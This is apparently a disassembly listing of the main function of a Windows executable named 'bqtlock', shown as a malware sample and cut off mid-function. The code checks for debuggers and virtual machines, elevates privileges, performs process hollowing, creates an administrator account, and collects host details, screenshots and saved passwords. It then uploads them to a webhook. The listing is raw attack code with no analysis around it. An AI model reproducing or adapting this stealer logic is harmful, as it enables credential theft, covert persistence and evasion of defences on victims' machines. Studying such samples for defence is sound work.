File bqtlock_618070d597dd73c43ba5d4bde2baa93a4f6038e3279de3bafe688caa5c409a58.exe
Function:
Loading..
14000a6dd
14000a6ddWinMain:
14000a6ddpush rbp
14000a6depush rbx
14000a6dfmov eax, 4168
14000a6e4call ___chkstk_ms
14000a6e9sub rsp, rax
14000a6eclea rbp, [rsp+128]
14000a6f4mov [rbp+4064], rcx
14000a6fbmov [rbp+4072], rdx
14000a702mov [rbp+4080], r8
14000a709mov [rbp+4088], r9l
14000a710mov rax, [rip+0x1bf599]
14000a717call rax
14000a719test eax, eax
14000a71bsetne al
14000a71etest al, al
14000a720je 0x14000a7e4
14000a726lea rax, [rbp+1231]
14000a72dmov [rbp+3984], rax
14000a734nop
14000a735nop
14000a736lea rcx, [rbp+1231]
14000a73dlea rdx, [rip+0xfcaa5]
14000a744lea rax, [rbp+1184]
14000a74bmov r8, rcx
14000a74emov rcx, rax
14000a751call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a756lea rax, [rbp+1279]
14000a75dmov [rbp+3976], rax
14000a764nop
14000a765nop
14000a766lea rcx, [rbp+1279]
14000a76dlea rdx, [rip+0xfdd94]
14000a774lea rax, [rbp+1232]
14000a77bmov r8, rcx
14000a77emov rcx, rax
14000a781call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a786lea rdx, [rbp+1184]
14000a78dlea rax, [rbp+1232]
14000a794mov rcx, rax
14000a797call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a79clea rax, [rbp+1232]
14000a7a3mov rcx, rax
14000a7a6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a7ablea rax, [rbp+1279]
14000a7b2mov rcx, rax
14000a7b5call std::__new_allocator<char>::~__new_allocator()
14000a7banop
14000a7bblea rax, [rbp+1184]
14000a7c2mov rcx, rax
14000a7c5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a7calea rax, [rbp+1231]
14000a7d1mov rcx, rax
14000a7d4call std::__new_allocator<char>::~__new_allocator()
14000a7d9nop
14000a7damov ebx, 0
14000a7dfjmp 0x14000be18
14000a7e4
14000a7e4loc_14000a7e4:
14000a7e4call check_vm()
14000a7e9test al, al
14000a7ebje 0x14000a8af
14000a7f1lea rax, [rbp+1327]
14000a7f8mov [rbp+3968], rax
14000a7ffnop
14000a800nop
14000a801lea rcx, [rbp+1327]
14000a808lea rdx, [rip+0xfc9da]
14000a80flea rax, [rbp+1280]
14000a816mov r8, rcx
14000a819mov rcx, rax
14000a81ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a821lea rax, [rbp+1375]
14000a828mov [rbp+3960], rax
14000a82fnop
14000a830nop
14000a831lea rcx, [rbp+1375]
14000a838lea rdx, [rip+0xfdce8]
14000a83flea rax, [rbp+1328]
14000a846mov r8, rcx
14000a849mov rcx, rax
14000a84ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a851lea rdx, [rbp+1280]
14000a858lea rax, [rbp+1328]
14000a85fmov rcx, rax
14000a862call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a867lea rax, [rbp+1328]
14000a86emov rcx, rax
14000a871call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a876lea rax, [rbp+1375]
14000a87dmov rcx, rax
14000a880call std::__new_allocator<char>::~__new_allocator()
14000a885nop
14000a886lea rax, [rbp+1280]
14000a88dmov rcx, rax
14000a890call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a895lea rax, [rbp+1327]
14000a89cmov rcx, rax
14000a89fcall std::__new_allocator<char>::~__new_allocator()
14000a8a4nop
14000a8a5mov ebx, 0
14000a8aajmp 0x14000be18
14000a8af
14000a8afloc_14000a8af:
14000a8aflea rax, [rip+0xfdc92]
14000a8b6mov r8, rax
14000a8b9mov edx, 1
14000a8bemov ecx, 0
14000a8c3mov rax, [rip+0x1bf2ee]
14000a8cacall rax
14000a8ccmov [rbp+4016], rax
14000a8d3mov rax, [rip+0x1bf376]
14000a8dacall rax
14000a8dccmp eax, 183
14000a8e1sete al
14000a8e4test al, al
14000a8e6je 0x14000a9bd
14000a8ecmov rax, [rbp+4016]
14000a8f3mov rcx, rax
14000a8f6mov rax, [rip+0x1bf2a3]
14000a8fdcall rax
14000a8fflea rax, [rbp+1423]
14000a906mov [rbp+3952], rax
14000a90dnop
14000a90enop
14000a90flea rcx, [rbp+1423]
14000a916lea rdx, [rip+0xfc8cc]
14000a91dlea rax, [rbp+1376]
14000a924mov r8, rcx
14000a927mov rcx, rax
14000a92acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a92flea rax, [rbp+1470]
14000a936mov [rbp+3944], rax
14000a93dnop
14000a93enop
14000a93flea rcx, [rbp+1470]
14000a946lea rdx, [rip+0xfdc2b]
14000a94dlea rax, [rbp+1424]
14000a954mov r8, rcx
14000a957mov rcx, rax
14000a95acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a95flea rdx, [rbp+1376]
14000a966lea rax, [rbp+1424]
14000a96dmov rcx, rax
14000a970call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a975lea rax, [rbp+1424]
14000a97cmov rcx, rax
14000a97fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a984lea rax, [rbp+1470]
14000a98bmov rcx, rax
14000a98ecall std::__new_allocator<char>::~__new_allocator()
14000a993nop
14000a994lea rax, [rbp+1376]
14000a99bmov rcx, rax
14000a99ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a9a3lea rax, [rbp+1423]
14000a9aamov rcx, rax
14000a9adcall std::__new_allocator<char>::~__new_allocator()
14000a9b2nop
14000a9b3mov ebx, 0
14000a9b8jmp 0x14000be18
14000a9bd
14000a9bdloc_14000a9bd:
14000a9bdcall elevate_privileges()
14000a9c2call perform_hollowing()
14000a9c7mov ecx, 3
14000a9ccmov rax, [rip+0x1bf0e5]
14000a9d3call rax
14000a9d5lea rax, [rbp+1152]
14000a9dcmov r9l, 0
14000a9e2mov r8l, 0
14000a9e8mov edx, 0
14000a9edmov rcx, rax
14000a9f0call Gdiplus::GdiplusStartupInput::GdiplusStartupInput(void*, int, int)
14000a9f5lea rdx, [rbp+1152]
14000a9fclea rax, [rbp+1144]
14000aa03mov r8l, 0
14000aa09mov rcx, rax
14000aa0ccall GdiplusStartup
14000aa11mov [rbp+1116], 16
14000aa1blea rdx, [rbp+1116]
14000aa22lea rax, [rbp+1120]
14000aa29mov rcx, rax
14000aa2cmov rax, [rip+0x1bf1d5]
14000aa33call rax
14000aa35lea rax, [rbp+1471]
14000aa3cmov [rbp+3936], rax
14000aa43nop
14000aa44nop
14000aa45lea rax, [rip+0xfdb65]
14000aa4cmov rcx, rax
14000aa4fcall getenv
14000aa54mov rdx, rax
14000aa57lea rcx, [rbp+1471]
14000aa5elea rax, [rbp+1072]
14000aa65mov r8, rcx
14000aa68mov rcx, rax
14000aa6bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000aa70lea rax, [rbp+1471]
14000aa77mov rcx, rax
14000aa7acall std::__new_allocator<char>::~__new_allocator()
14000aa7fnop
14000aa80lea rax, [rbp+1040]
14000aa87mov rcx, rax
14000aa8acall get_local_ip[abi:cxx11]()
14000aa8flea rax, [rbp+1008]
14000aa96mov rcx, rax
14000aa99call get_public_ip[abi:cxx11]()
14000aa9elea rax, [rbp+976]
14000aaa5mov rcx, rax
14000aaa8call get_os_version[abi:cxx11]()
14000aaadlea rax, [rbp+944]
14000aab4mov rcx, rax
14000aab7call get_hwid[abi:cxx11]()
14000aabclea rax, [rbp+912]
14000aac3mov rcx, rax
14000aac6call get_disk_info[abi:cxx11]()
14000aacblea rax, [rbp+880]
14000aad2mov rcx, rax
14000aad5call create_new_admin_user[abi:cxx11]()
14000aadalea rax, [rbp+1935]
14000aae1mov [rbp+3928], rax
14000aae8nop
14000aae9nop
14000aaealea rcx, [rbp+1935]
14000aaf1lea rdx, [rbp+1120]
14000aaf8lea rax, [rbp+1888]
14000aaffmov r8, rcx
14000ab02mov rcx, rax
14000ab05call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ab0alea rax, [rbp+1968]
14000ab11lea rcx, [rbp+1072]
14000ab18lea rdx, [rip+0xfdaa1]
14000ab1fmov r8, rcx
14000ab22mov rcx, rax
14000ab25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
14000ab2alea rax, [rbp+1936]
14000ab31lea rcx, [rip+0xfdb70]
14000ab38lea rdx, [rbp+1968]
14000ab3fmov r8, rcx
14000ab42mov rcx, rax
14000ab45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ab4alea rax, [rbp+1856]
14000ab51lea rcx, [rbp+1888]
14000ab58lea rdx, [rbp+1936]
14000ab5fmov r8, rcx
14000ab62mov rcx, rax
14000ab65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000ab6alea rax, [rbp+1824]
14000ab71lea rcx, [rip+0xfdb70]
14000ab78lea rdx, [rbp+1856]
14000ab7fmov r8, rcx
14000ab82mov rcx, rax
14000ab85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ab8alea rax, [rbp+1792]
14000ab91lea rcx, [rbp+1040]
14000ab98lea rdx, [rbp+1824]
14000ab9fmov r8, rcx
14000aba2mov rcx, rax
14000aba5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000abaalea rax, [rbp+1760]
14000abb1lea rcx, [rip+0xfdb68]
14000abb8lea rdx, [rbp+1792]
14000abbfmov r8, rcx
14000abc2mov rcx, rax
14000abc5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000abcalea rax, [rbp+1728]
14000abd1lea rcx, [rbp+1008]
14000abd8lea rdx, [rbp+1760]
14000abdfmov r8, rcx
14000abe2mov rcx, rax
14000abe5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000abealea rax, [rbp+1696]
14000abf1lea rcx, [rip+0xfdb60]
14000abf8lea rdx, [rbp+1728]
14000abffmov r8, rcx
14000ac02mov rcx, rax
14000ac05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac0alea rax, [rbp+1664]
14000ac11lea rcx, [rbp+976]
14000ac18lea rdx, [rbp+1696]
14000ac1fmov r8, rcx
14000ac22mov rcx, rax
14000ac25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000ac2alea rax, [rbp+1632]
14000ac31lea rcx, [rip+0xfdb58]
14000ac38lea rdx, [rbp+1664]
14000ac3fmov r8, rcx
14000ac42mov rcx, rax
14000ac45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac4alea rax, [rbp+1600]
14000ac51lea rcx, [rbp+944]
14000ac58lea rdx, [rbp+1632]
14000ac5fmov r8, rcx
14000ac62mov rcx, rax
14000ac65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000ac6alea rax, [rbp+1568]
14000ac71lea rcx, [rip+0xfdb58]
14000ac78lea rdx, [rbp+1600]
14000ac7fmov r8, rcx
14000ac82mov rcx, rax
14000ac85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac8alea rax, [rbp+1536]
14000ac91lea rcx, [rbp+912]
14000ac98lea rdx, [rbp+1568]
14000ac9fmov r8, rcx
14000aca2mov rcx, rax
14000aca5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000acaalea rax, [rbp+1504]
14000acb1lea rcx, [rip+0xfdb50]
14000acb8lea rdx, [rbp+1536]
14000acbfmov r8, rcx
14000acc2mov rcx, rax
14000acc5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000accalea rax, [rbp+1472]
14000acd1lea rcx, [rbp+880]
14000acd8lea rdx, [rbp+1504]
14000acdfmov r8, rcx
14000ace2mov rcx, rax
14000ace5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000acealea rax, [rbp+848]
14000acf1lea rcx, [rip+0xfdb50]
14000acf8lea rdx, [rbp+1472]
14000acffmov r8, rcx
14000ad02mov rcx, rax
14000ad05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ad0alea rax, [rbp+1472]
14000ad11mov rcx, rax
14000ad14call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad19lea rax, [rbp+1504]
14000ad20mov rcx, rax
14000ad23call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad28lea rax, [rbp+1536]
14000ad2fmov rcx, rax
14000ad32call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad37lea rax, [rbp+1568]
14000ad3emov rcx, rax
14000ad41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad46lea rax, [rbp+1600]
14000ad4dmov rcx, rax
14000ad50call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad55lea rax, [rbp+1632]
14000ad5cmov rcx, rax
14000ad5fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad64lea rax, [rbp+1664]
14000ad6bmov rcx, rax
14000ad6ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad73lea rax, [rbp+1696]
14000ad7amov rcx, rax
14000ad7dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad82lea rax, [rbp+1728]
14000ad89mov rcx, rax
14000ad8ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad91lea rax, [rbp+1760]
14000ad98mov rcx, rax
14000ad9bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ada0lea rax, [rbp+1792]
14000ada7mov rcx, rax
14000adaacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adaflea rax, [rbp+1824]
14000adb6mov rcx, rax
14000adb9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adbelea rax, [rbp+1856]
14000adc5mov rcx, rax
14000adc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adcdlea rax, [rbp+1936]
14000add4mov rcx, rax
14000add7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000addclea rax, [rbp+1968]
14000ade3mov rcx, rax
14000ade6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adeblea rax, [rbp+1888]
14000adf2mov rcx, rax
14000adf5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adfalea rax, [rbp+1935]
14000ae01mov rcx, rax
14000ae04call std::__new_allocator<char>::~__new_allocator()
14000ae09nop
14000ae0alea rax, [rbp+848]
14000ae11lea rcx, [rip+0x1bd288]
14000ae18mov rdx, rax
14000ae1bcall send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000ae20lea rax, [rbp+816]
14000ae27mov rcx, rax
14000ae2acall take_screenshot_to_file[abi:cxx11]()
14000ae2flea rax, [rbp+816]
14000ae36mov rcx, rax
14000ae39call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000ae3exor eax, 1
14000ae41test al, al
14000ae43je 0x14000af15
14000ae49lea rax, [rbp+2047]
14000ae50mov [rbp+3920], rax
14000ae57nop
14000ae58nop
14000ae59lea rcx, [rbp+2047]
14000ae60lea rdx, [rip+0xfda45]
14000ae67lea rax, [rbp+2000]
14000ae6emov r8, rcx
14000ae71mov rcx, rax
14000ae74call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ae79lea rax, [rbp+2095]
14000ae80mov [rbp+3912], rax
14000ae87nop
14000ae88nop
14000ae89lea rcx, [rbp+2095]
14000ae90lea rdx, [rip+0xfda1a]
14000ae97lea rax, [rbp+2048]
14000ae9emov r8, rcx
14000aea1mov rcx, rax
14000aea4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000aea9lea r8, [rbp+2000]
14000aeb0lea rdx, [rbp+2048]
14000aeb7lea rax, [rbp+816]
14000aebelea rcx, [rip+0x1bd1db]
14000aec5mov r9, r8
14000aec8mov r8, rdx
14000aecbmov rdx, rax
14000aececall upload_file_to_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000aed3lea rax, [rbp+2048]
14000aedamov rcx, rax
14000aeddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000aee2lea rax, [rbp+2095]
14000aee9mov rcx, rax
14000aeeccall std::__new_allocator<char>::~__new_allocator()
14000aef1nop
14000aef2lea rax, [rbp+2000]
14000aef9mov rcx, rax
14000aefccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000af01lea rax, [rbp+2047]
14000af08mov rcx, rax
14000af0bcall std::__new_allocator<char>::~__new_allocator()
14000af10jmp 0x14000afc9
14000af15
14000af15loc_14000af15:
14000af15lea rax, [rbp+2143]
14000af1cmov [rbp+3904], rax
14000af23nop
14000af24nop
14000af25lea rcx, [rbp+2143]
14000af2clea rdx, [rip+0xfc99b]
14000af33lea rax, [rbp+2096]
14000af3amov r8, rcx
14000af3dmov rcx, rax
14000af40call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000af45lea rax, [rbp+2190]
14000af4cmov [rbp+3896], rax
14000af53nop
14000af54nop
14000af55lea rcx, [rbp+2190]
14000af5clea rdx, [rip+0xfd95d]
14000af63lea rax, [rbp+2144]
14000af6amov r8, rcx
14000af6dmov rcx, rax
14000af70call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000af75lea rdx, [rbp+2096]
14000af7clea rax, [rbp+2144]
14000af83mov rcx, rax
14000af86call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000af8blea rax, [rbp+2144]
14000af92mov rcx, rax
14000af95call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000af9alea rax, [rbp+2190]
14000afa1mov rcx, rax
14000afa4call std::__new_allocator<char>::~__new_allocator()
14000afa9nop
14000afaalea rax, [rbp+2096]
14000afb1mov rcx, rax
14000afb4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000afb9lea rax, [rbp+2143]
14000afc0mov rcx, rax
14000afc3call std::__new_allocator<char>::~__new_allocator()
14000afc8nop
14000afc9
14000afc9loc_14000afc9:
14000afc9lea rax, [rbp+784]
14000afd0mov rcx, rax
14000afd3call get_saved_passwords[abi:cxx11]()
14000afd8lea rax, [rbp+2191]
14000afdfmov [rbp+3888], rax
14000afe6nop
14000afe7nop
14000afe8lea rcx, [rbp+2191]
14000afeflea rdx, [rip+0xfd8f5]
14000aff6lea rax, [rbp+752]
14000affdmov r8, rcx
14000b000mov rcx, rax
14000b003call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b008lea rax, [rbp+2191]
14000b00fmov rcx, rax
14000b012call std::__new_allocator<char>::~__new_allocator()
14000b017nop
14000b018lea rdx, [rbp+752]
14000b01flea rax, [rbp+288]
14000b026mov r8l, 16
14000b02cmov rcx, rax
14000b02fcall std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
14000b034lea rax, [rbp+288]
14000b03bmov rcx, rax
14000b03ecall std::basic_ofstream<char, std::char_traits<char>>::is_open()
14000b043test al, al
14000b045je 0x14000b06c
14000b047lea rdx, [rbp+784]
14000b04elea rax, [rbp+288]
14000b055mov rcx, rax
14000b058call _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
14000b05dlea rax, [rbp+288]
14000b064mov rcx, rax
14000b067call std::basic_ofstream<char, std::char_traits<char>>::close()
14000b06c
14000b06cloc_14000b06c:
14000b06clea rdx, [rbp+752]
14000b073lea rax, [rbp+2192]
14000b07amov r8l, 2
14000b080mov rcx, rax
14000b083call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
14000b088lea rax, [rbp+2192]
14000b08fmov rcx, rax
14000b092call std::filesystem::exists(std::filesystem::__cxx11::path const&)
14000b097mov ebx, eax
14000b099lea rax, [rbp+2192]
14000b0a0mov rcx, rax
14000b0a3call std::filesystem::__cxx11::path::~path()
14000b0a8test bl, bl
14000b0aaje 0x14000b17c
14000b0b0lea rax, [rbp+2287]
14000b0b7mov [rbp+3880], rax
14000b0benop
14000b0bfnop
14000b0c0lea rcx, [rbp+2287]
14000b0c7lea rdx, [rip+0xfd83b]
14000b0celea rax, [rbp+2240]
14000b0d5mov r8, rcx
14000b0d8mov rcx, rax
14000b0dbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b0e0lea rax, [rbp+2335]
14000b0e7mov [rbp+3872], rax
14000b0eenop
14000b0efnop
14000b0f0lea rcx, [rbp+2335]
14000b0f7lea rdx, [rip+0xfd81a]
14000b0felea rax, [rbp+2288]
14000b105mov r8, rcx
14000b108mov rcx, rax
14000b10bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b110lea r8, [rbp+2240]
14000b117lea rdx, [rbp+2288]
14000b11elea rax, [rbp+752]
14000b125lea rcx, [rip+0x1bcf74]
14000b12cmov r9, r8
14000b12fmov r8, rdx
14000b132mov rdx, rax
14000b135call upload_file_to_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b13alea rax, [rbp+2288]
14000b141mov rcx, rax
14000b144call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b149lea rax, [rbp+2335]
14000b150mov rcx, rax
14000b153call std::__new_allocator<char>::~__new_allocator()
14000b158nop
14000b159lea rax, [rbp+2240]
14000b160mov rcx, rax
14000b163call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b168lea rax, [rbp+2287]
14000b16fmov rcx, rax
14000b172call std::__new_allocator<char>::~__new_allocator()
14000b177jmp 0x14000b230
14000b17c
14000b17cloc_14000b17c:
14000b17clea rax, [rbp+2383]
14000b183mov [rbp+3864], rax
14000b18anop
14000b18bnop
14000b18clea rcx, [rbp+2383]
14000b193lea rdx, [rip+0xfc734]
14000b19alea rax, [rbp+2336]
14000b1a1mov r8, rcx
14000b1a4mov rcx, rax
14000b1a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b1aclea rax, [rbp+2431]
14000b1b3mov [rbp+3856], rax
14000b1banop
14000b1bbnop
14000b1bclea rcx, [rbp+2431]
14000b1c3lea rdx, [rip+0xfd75e]
14000b1calea rax, [rbp+2384]
14000b1d1mov r8, rcx
14000b1d4mov rcx, rax
14000b1d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b1dclea rdx, [rbp+2336]
14000b1e3lea rax, [rbp+2384]
14000b1eamov rcx, rax
14000b1edcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b1f2lea rax, [rbp+2384]
14000b1f9mov rcx, rax
14000b1fccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b201lea rax, [rbp+2431]
14000b208mov rcx, rax
14000b20bcall std::__new_allocator<char>::~__new_allocator()
14000b210nop
14000b211lea rax, [rbp+2336]
14000b218mov rcx, rax
14000b21bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b220lea rax, [rbp+2383]
14000b227mov rcx, rax
14000b22acall std::__new_allocator<char>::~__new_allocator()
14000b22fnop
14000b230
14000b230loc_14000b230:
14000b230lea rax, [rbp+2432]
14000b237lea rdx, [rip+0x1bce82]
14000b23emov rcx, rax
14000b241call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b246lea rax, [rbp+2432]
14000b24dmov rcx, rax
14000b250call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000b255xor eax, 1
14000b258mov ebx, eax
14000b25alea rax, [rbp+2432]
14000b261mov rcx, rax
14000b264call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b269test bl, bl
14000b26bje 0x14000b283
14000b26dlea rax, [rbp+848]
14000b274lea rcx, [rip+0x1bce45]
14000b27bmov rdx, rax
14000b27ecall send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b283
14000b283loc_14000b283:
14000b283lea rax, [rbp+2511]
14000b28amov [rbp+3848], rax
14000b291nop
14000b292nop
14000b293lea rcx, [rbp+2511]
14000b29alea rdx, [rip+0xfbf48]
14000b2a1lea rax, [rbp+2464]
14000b2a8mov r8, rcx
14000b2abmov rcx, rax
14000b2aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b2b3lea rax, [rbp+2559]
14000b2bamov [rbp+3840], rax
14000b2c1nop
14000b2c2nop
14000b2c3lea rcx, [rbp+2559]
14000b2calea rdx, [rip+0xfd68f]
14000b2d1lea rax, [rbp+2512]
14000b2d8mov r8, rcx
14000b2dbmov rcx, rax
14000b2decall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000b2e3lea rdx, [rbp+2464]
14000b2ealea rax, [rbp+2512]
14000b2f1mov rcx, rax
14000b2f4call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000b2f9lea rax, [rbp+2512]
14000b300mov rcx, rax
14000b303call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b308lea rax, [rbp+2559]
14000b30fmov rcx, rax
14000b312call std::__new_allocator<char>::~__new_allocator()
14000b317nop
14000b318lea rax, [rbp+2464]
14000b31fmov rcx, rax
14000b322call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000b327lea rax, [rbp+2511]
